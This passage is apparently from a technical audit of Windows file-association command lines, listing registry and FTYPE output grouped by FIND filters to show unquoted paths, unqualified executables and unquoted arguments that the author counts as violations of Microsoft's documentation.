HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\3\{9d4b9c0a-7b4e-4c0d-926e-a536d781cff6}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnEdit %*

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\6\{0b51213d-c59c-4b59-bc10-f27d0b330294}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnImport

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\7\{165095b1-322d-47b1-bc9f-2a9234c1c4cb}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnExport

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksNoItemsSelected\0\{5099caf3-7ab4-4c18-ab35-3f3e664638e4}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewContact %*

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksNoItemsSelected\1\{da8c976e-ec82-48ad-8ae4-38872e958dc5}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewGroup %*

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksNoItemsSelected\2\{0b51213d-c59c-4b59-bc10-f27d0b330294}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnImport

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksNoItemsSelected\3\{165095b1-322d-47b1-bc9f-2a9234c1c4cb}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnExport

End of search: 481 match(es) found.

Note: only 207 of these 481 command lines comply with Microsoft’s own documentation, while the other 274 command lines show a total number of 411 bugs!

Command lines without a dot, i.e. without any file extension:

FTYPE | FIND.EXE /V "."

batfile="%1" %*
cmdfile="%1" %*
comfile="%1" %*
exefile="%1" %*
MSStorageSense=explorer ms-settings:storagesense
piffile="%1" %*
scrfile="%1" /S

Command lines without a backslash, i.e. without any qualified pathname:

FTYPE | FIND.EXE /V "\"

batfile="%1" %*
brmFile="PrintBrmUI.exe" /import /file:"%1"
cmdfile="%1" %*
comfile="%1" %*
exefile="%1" %*
MSSppLicenseFile="iexplore.exe" "%1"
MSStorageSense=explorer ms-settings:storagesense
piffile="%1" %*
regedit=regedit.exe "%1"
regfile=regedit.exe "%1"
scrfile="%1" /S

Command lines without a (double) quote:

FTYPE | FIND.EXE /V """"

CABFolder=%SystemRoot%\Explorer.exe /idlist,%I,%L
CATFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCAT %1
CERFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCER %1
CertificateStoreFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenSTR %1
CompressedFolder=%SystemRoot%\Explorer.exe /idlist,%I,%L
CRLFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCRL %1
desktopthemepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
Explorer.AssocActionId.BurnSelection=%SystemRoot%\explorer.exe
Explorer.AssocActionId.EraseDisc=%SystemRoot%\explorer.exe
Explorer.AssocActionId.ZipSelection=%SystemRoot%\explorer.exe
Explorer.AssocProtocol.search-ms=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
Folder=%SystemRoot%\Explorer.exe
hlpfile=%SystemRoot%\winhlp32.exe %1
inffile=%SystemRoot%\system32\NOTEPAD.EXE %1
inifile=%SystemRoot%\system32\NOTEPAD.EXE %1
Microsoft.Workfolders=C:\Windows\System32\control.exe /name Microsoft.WorkFolders
ms-mmsys=%SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl %1
ms-msime-imepad=C:\Windows\System32\IME\SHARED\IMEPADSV.EXE %1
ms-msime-imjpdct=C:\Windows\System32\IME\IMEJP\IMJPDCT.EXE %1
ms-rdx-document=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\RDXService,OpenRDXDocument %1
MSStorageSense=explorer ms-settings:storagesense
opensearchdescription=%SystemRoot%\explorer.exe
P7RFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenP7R %1
P7SFile=%SystemRoot%\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
PFXFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPFX %1
SavedDsQuery=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1
search=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
search-ms=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
SHCmdFile=%SystemRoot%\explorer.exe
SPCFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
themefile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
themepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
wbcatfile=%SystemRoot%\system32\sdclt.exe /restorepage
webpnpFile=%SystemRoot%\system32\wpnpinst.exe %1
zapfile=%SystemRoot%\system32\NOTEPAD.EXE %1

Command lines with an unquoted environment variable in the application’s pathname:

FTYPE | FIND.EXE "=%"

CABFolder=%SystemRoot%\Explorer.exe /idlist,%I,%L
CATFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCAT %1
CERFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCER %1
CertificateStoreFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenSTR %1
CompressedFolder=%SystemRoot%\Explorer.exe /idlist,%I,%L
CRLFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCRL %1
desktopthemepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
Diagnostic.Cabinet=%SystemRoot%\system32\msdt.exe /cab "%1"
Diagnostic.Config=%SystemRoot%\system32\msdt.exe /path "%1"
Diagnostic.Document=%SystemRoot%\system32\msdt.exe /path "%1"
Diagnostic.Perfmon.Config=%SystemRoot%\system32\perfmon /sys /load "%1"
Diagnostic.Perfmon.Document=%SystemRoot%\system32\perfmon /sys /open "%1"
Diagnostic.Resmon.Config=%SystemRoot%\system32\perfmon /res /load "%1"
evtfile=%SystemRoot%\system32\eventvwr.exe /l:"%1"
evtxfile=%SystemRoot%\system32\eventvwr.exe /l:"%1"
Explorer.AssocActionId.BurnSelection=%SystemRoot%\explorer.exe
Explorer.AssocActionId.EraseDisc=%SystemRoot%\explorer.exe
Explorer.AssocActionId.ZipSelection=%SystemRoot%\explorer.exe
Explorer.AssocProtocol.search-ms=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
Folder=%SystemRoot%\Explorer.exe
hlpfile=%SystemRoot%\winhlp32.exe %1
inffile=%SystemRoot%\system32\NOTEPAD.EXE %1
inifile=%SystemRoot%\system32\NOTEPAD.EXE %1
ms-mmsys=%SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl %1
ms-rdx-document=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\RDXService,OpenRDXDocument %1
mscfile=%SystemRoot%\system32\mmc.exe "%1" %*
MSInfoFile=%SystemRoot%\system32\msinfo32.exe "%1"
msstylesfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,Control_RunDLL %SystemRoot%\system32\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:"%1"
opensearchdescription=%SystemRoot%\explorer.exe
P7RFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenP7R %1
P7SFile=%SystemRoot%\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
pbkfile=%SystemRoot%\system32\rasphone.exe -f "%1"
PerfFile=%SystemRoot%\system32\mmc.exe %systemroot%\system32\perfmon.msc /F "%1"
PFXFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPFX %1
PhotoViewer.FileAssoc.Tiff=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
SavedDsQuery=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1
search=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
search-ms=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
SHCmdFile=%SystemRoot%\explorer.exe
SPCFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
themefile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
themepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
TIFImage.Document=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
Undecided=%SystemRoot%\system32\OpenWith.exe "%1"
Unknown=%SystemRoot%\system32\OpenWith.exe "%1"
wbcatfile=%SystemRoot%\system32\sdclt.exe /restorepage
webpnpFile=%SystemRoot%\system32\wpnpinst.exe %1
WindowsStore.License=%SystemRoot%\System32\licensemanagershellext.exe "%1"
zapfile=%SystemRoot%\system32\NOTEPAD.EXE %1

Command lines with an unquoted long argument:

FTYPE | FIND.EXE /I " %L"

IE.AssocFile.URL="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l
InternetShortcut="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l
rlogin="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
telnet="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
tn3270="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
WPDContextMenu.Url="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\ieframe.dll",OpenURL %l

Command lines with an unquoted argument:

FTYPE | FIND.EXE " %1"

Application.Manifest="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbApplication %1
Application.Reference="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbShortcut %1|%2
CATFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCAT %1
CERFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCER %1
CertificateStoreFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenSTR %1
chm.file="%SystemRoot%\hh.exe" %1
CRLFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCRL %1
desktopthemepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
ftp="C:\Program Files\Internet Explorer\iexplore.exe" %1
giffile="C:\Program Files\Internet Explorer\iexplore.exe" %1
hlpfile=%SystemRoot%\winhlp32.exe %1
htmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
http="C:\Program Files\Internet Explorer\iexplore.exe" %1
https="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.AssocFile.HTM="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.AssocFile.MHT="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.AssocFile.PARTIAL="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.AssocFile.SVG="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.AssocFile.XHT="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.FTP="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.HTTP="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.HTTPS="C:\Program Files\Internet Explorer\iexplore.exe" %1
inffile=%SystemRoot%\system32\NOTEPAD.EXE %1
inifile=%SystemRoot%\system32\NOTEPAD.EXE %1
mhtmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
ms-mmsys=%SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl %1
ms-msdt="%SystemRoot%\system32\msdt.exe" %1
ms-msime-imepad=C:\Windows\System32\IME\SHARED\IMEPADSV.EXE %1
ms-msime-imjpdct=C:\Windows\System32\IME\IMEJP\IMJPDCT.EXE %1
ms-quick-assist="%SystemRoot%\system32\quickassist.exe" %1
ms-rdx-document=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\RDXService,OpenRDXDocument %1
MSDASC=Rundll32.exe "%CommonProgramFiles%\System\OLE DB\oledb32.dll",OpenDSLFile %1
P7RFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenP7R %1
P7SFile=%SystemRoot%\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
PFXFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPFX %1
PhotoViewer.FileAssoc.Tiff=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
prffile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnPRF %1
ratfile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnRAT %1
SavedDsQuery=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1
SPCFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
svgfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
themefile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
themepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
TIFImage.Document=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
webpnpFile=%SystemRoot%\system32\wpnpinst.exe %1
xhtmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
xmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
xslfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
zapfile=%SystemRoot%\system32\NOTEPAD.EXE %1

Command lines with unquoted environment variable(s) in an argument or with unquoted argument(s):

FTYPE | FIND.EXE " %"

Application.Manifest="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbApplication %1
Application.Reference="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbShortcut %1|%2
batfile="%1" %*
CATFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCAT %1
CERFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCER %1
CertificateStoreFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenSTR %1
chm.file="%SystemRoot%\hh.exe" %1
cmdfile="%1" %*
comfile="%1" %*
CRLFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCRL %1
desktopthemepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
exefile="%1" %*
ftp="C:\Program Files\Internet Explorer\iexplore.exe" %1
giffile="C:\Program Files\Internet Explorer\iexplore.exe" %1
hlpfile=%SystemRoot%\winhlp32.exe %1
htafile=C:\Windows\System32\mshta.exe "%1" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}%U{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} %*
htmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
http="C:\Program Files\Internet Explorer\iexplore.exe" %1
https="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.AssocFile.HTM="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.AssocFile.MHT="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.AssocFile.PARTIAL="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.AssocFile.SVG="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.AssocFile.URL="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l
IE.AssocFile.WEBSITE="C:\Program Files\Internet Explorer\iexplore.exe" -w "%l" %*
IE.AssocFile.XHT="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.FTP="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.HTTP="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.HTTPS="C:\Program Files\Internet Explorer\iexplore.exe" %1
IMEDictionaryCompiler="%WINDIR%\system32\IME\SHARED\imewdbld.exe" "%1" %*
inffile=%SystemRoot%\system32\NOTEPAD.EXE %1
inifile=%SystemRoot%\system32\NOTEPAD.EXE %1
InternetShortcut="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l
JSEFile=C:\Windows\System32\WScript.exe "%1" %*
JSFile=C:\Windows\System32\WScript.exe "%1" %*
mhtmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
Microsoft.System.Update.1="%systemroot%\system32\wusa.exe" "%1" %*
Microsoft.Website="C:\Program Files\Internet Explorer\iexplore.exe" -w "%l" %*
ms-mmsys=%SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl %1
ms-msdt="%SystemRoot%\system32\msdt.exe" %1
ms-msime-imepad=C:\Windows\System32\IME\SHARED\IMEPADSV.EXE %1
ms-msime-imjpdct=C:\Windows\System32\IME\IMEJP\IMJPDCT.EXE %1
ms-quick-assist="%SystemRoot%\system32\quickassist.exe" %1
ms-rdx-document=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\RDXService,OpenRDXDocument %1
mscfile=%SystemRoot%\system32\mmc.exe "%1" %*
MSDASC=Rundll32.exe "%CommonProgramFiles%\System\OLE DB\oledb32.dll",OpenDSLFile %1
Msi.Package="%SystemRoot%\System32\msiexec.exe" /i "%1" %*
Msi.Patch="%SystemRoot%\System32\msiexec.exe" /p "%1" %*
msstylesfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,Control_RunDLL %SystemRoot%\system32\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:"%1"
P7RFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenP7R %1
P7SFile=%SystemRoot%\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
PerfFile=%SystemRoot%\system32\mmc.exe %systemroot%\system32\perfmon.msc /F "%1"
PFXFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPFX %1
PhotoViewer.FileAssoc.Tiff=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
piffile="%1" %*
prffile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnPRF %1
ratfile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnRAT %1
rlogin="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
SavedDsQuery=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1
SPCFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
svgfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
telnet="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
themefile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
themepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
TIFImage.Document=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
tn3270="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
VBEFile="%SystemRoot%\System32\WScript.exe" "%1" %*
VBSFile="%SystemRoot%\System32\WScript.exe" "%1" %*
webpnpFile=%SystemRoot%\system32\wpnpinst.exe %1
Windows.XamlDocument="C:\Windows\System32\PresentationHost.exe" "%1" %*
Windows.Xbap="C:\Windows\System32\PresentationHost.exe" "%1" %*
WPDContextMenu.Url="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\ieframe.dll",OpenURL %l
WSFFile="%SystemRoot%\System32\WScript.exe" "%1" %*
WSHFile="%SystemRoot%\System32\WScript.exe" "%1" %*
xhtmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
xmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
xslfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
zapfile=%SystemRoot%\system32\NOTEPAD.EXE %1

Command lines containing an environment variable:

SET SLOPPY=APPDATA CommonProgramFiles CommonProgramFiles(x86) CommonProgramW6432 ComSpec LOCALAPPDATA LOGONSERVER ProgramData ProgramFiles ProgramFiles(x86) ProgramW6432 PUBLIC SystemDrive SystemRoot TEMP TMP USERPROFILE WINDIR
FTYPE | FINDSTR.EXE /I "%!SLOPPY: =% %!%"

CABFolder=%SystemRoot%\Explorer.exe /idlist,%I,%L
CATFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCAT %1
CERFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCER %1
CertificateStoreFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenSTR %1
certificate_wab_auto_file="%ProgramFiles%\Windows Mail\wab.exe" /certificate "%1"
chm.file="%SystemRoot%\hh.exe" %1
CompressedFolder=%SystemRoot%\Explorer.exe /idlist,%I,%L
contact_wab_auto_file="%ProgramFiles%\Windows Mail\wab.exe" /contact "%1"
CRLFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCRL %1
desktopthemepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
Diagnostic.Cabinet=%SystemRoot%\system32\msdt.exe /cab "%1"
Diagnostic.Config=%SystemRoot%\system32\msdt.exe /path "%1"
Diagnostic.Document=%SystemRoot%\system32\msdt.exe /path "%1"
Diagnostic.Perfmon.Config=%SystemRoot%\system32\perfmon /sys /load "%1"
Diagnostic.Perfmon.Document=%SystemRoot%\system32\perfmon /sys /open "%1"
Diagnostic.Resmon.Config=%SystemRoot%\system32\perfmon /res /load "%1"
dlna-playsingle="%ProgramFiles%\Windows Media Player\wmplayer.exe" "%L"
docxfile="%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
emffile="%systemroot%\system32\mspaint.exe" "%1"
evtfile=%SystemRoot%\system32\eventvwr.exe /l:"%1"
evtxfile=%SystemRoot%\system32\eventvwr.exe /l:"%1"
Explorer.AssocActionId.BurnSelection=%SystemRoot%\explorer.exe
Explorer.AssocActionId.EraseDisc=%SystemRoot%\explorer.exe
Explorer.AssocActionId.ZipSelection=%SystemRoot%\explorer.exe
Explorer.AssocProtocol.search-ms=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
Folder=%SystemRoot%\Explorer.exe
group_wab_auto_file="%ProgramFiles%\Windows Mail\wab.exe" /Group "%1"
hlpfile=%SystemRoot%\winhlp32.exe %1
IMEDictionaryCompiler="%WINDIR%\system32\IME\SHARED\imewdbld.exe" "%1" %*
imesxfile="%WINDIR%\system32\IME\SHARED\imesearch.exe" "%1"
inffile=%SystemRoot%\system32\NOTEPAD.EXE %1
inifile=%SystemRoot%\system32\NOTEPAD.EXE %1
LDAP="%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
MacromediaFlashPaper.MacromediaFlashPaper="%ProgramFiles%\Internet Explorer\iexplore.exe" "%1"
Microsoft.ProvTool.Provisioning.1="%SystemRoot%\System32\provtool.exe" "%1" /source ShellOpen
Microsoft.System.Update.1="%systemroot%\system32\wusa.exe" "%1" %*
MMS="%ProgramFiles%\Windows Media Player\wmplayer.exe" "%L"
ms-availablenetworks="%SystemRoot%\system32\LaunchWinApp.exe" "%1"
ms-mmsys=%SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl %1
ms-msdt="%SystemRoot%\system32\msdt.exe" %1
ms-quick-assist="%SystemRoot%\system32\quickassist.exe" %1
ms-rdx-document=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\RDXService,OpenRDXDocument %1
ms-settings-connectabledevices="%SystemRoot%\system32\LaunchWinApp.exe" "%1"
ms-settings-displays-topology="%SystemRoot%\system32\LaunchWinApp.exe" "%1"
ms-virtualtouchpad="%SystemRoot%\system32\LaunchWinApp.exe" "%1"
mscfile=%SystemRoot%\system32\mmc.exe "%1" %*
MSDASC=Rundll32.exe "%CommonProgramFiles%\System\OLE DB\oledb32.dll",OpenDSLFile %1
Msi.Package="%SystemRoot%\System32\msiexec.exe" /i "%1" %*
Msi.Patch="%SystemRoot%\System32\msiexec.exe" /p "%1" %*
MSInfoFile=%SystemRoot%\system32\msinfo32.exe "%1"
msstylesfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,Control_RunDLL %SystemRoot%\system32\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:"%1"
odtfile="%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
opensearchdescription=%SystemRoot%\explorer.exe
P7RFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenP7R %1
P7SFile=%SystemRoot%\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
pbkfile=%SystemRoot%\system32\rasphone.exe -f "%1"
PerfFile=%SystemRoot%\system32\mmc.exe %systemroot%\system32\perfmon.msc /F "%1"
PFXFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPFX %1
PhotoViewer.FileAssoc.Tiff=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
prffile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnPRF %1
ratfile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnRAT %1
RDP.File="%systemroot%\system32\mstsc.exe" "%1"
RemoteAssistance.1="%systemRoot%\system32\msra.exe" -openfile "%1"
rlefile="%systemroot%\system32\mspaint.exe" "%1"
rtffile="%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
SavedDsQuery=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1
search=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
search-ms=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
SHCmdFile=%SystemRoot%\explorer.exe
SPCFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
textfile="%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
themefile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
themepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
TIFImage.Document=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
Undecided=%SystemRoot%\system32\OpenWith.exe "%1"
Unknown=%SystemRoot%\system32\OpenWith.exe "%1"
VBEFile="%SystemRoot%\System32\WScript.exe" "%1" %*
VBSFile="%SystemRoot%\System32\WScript.exe" "%1" %*
vcard_wab_auto_file="%ProgramFiles%\Windows Mail\wab.exe" /vcard "%1"
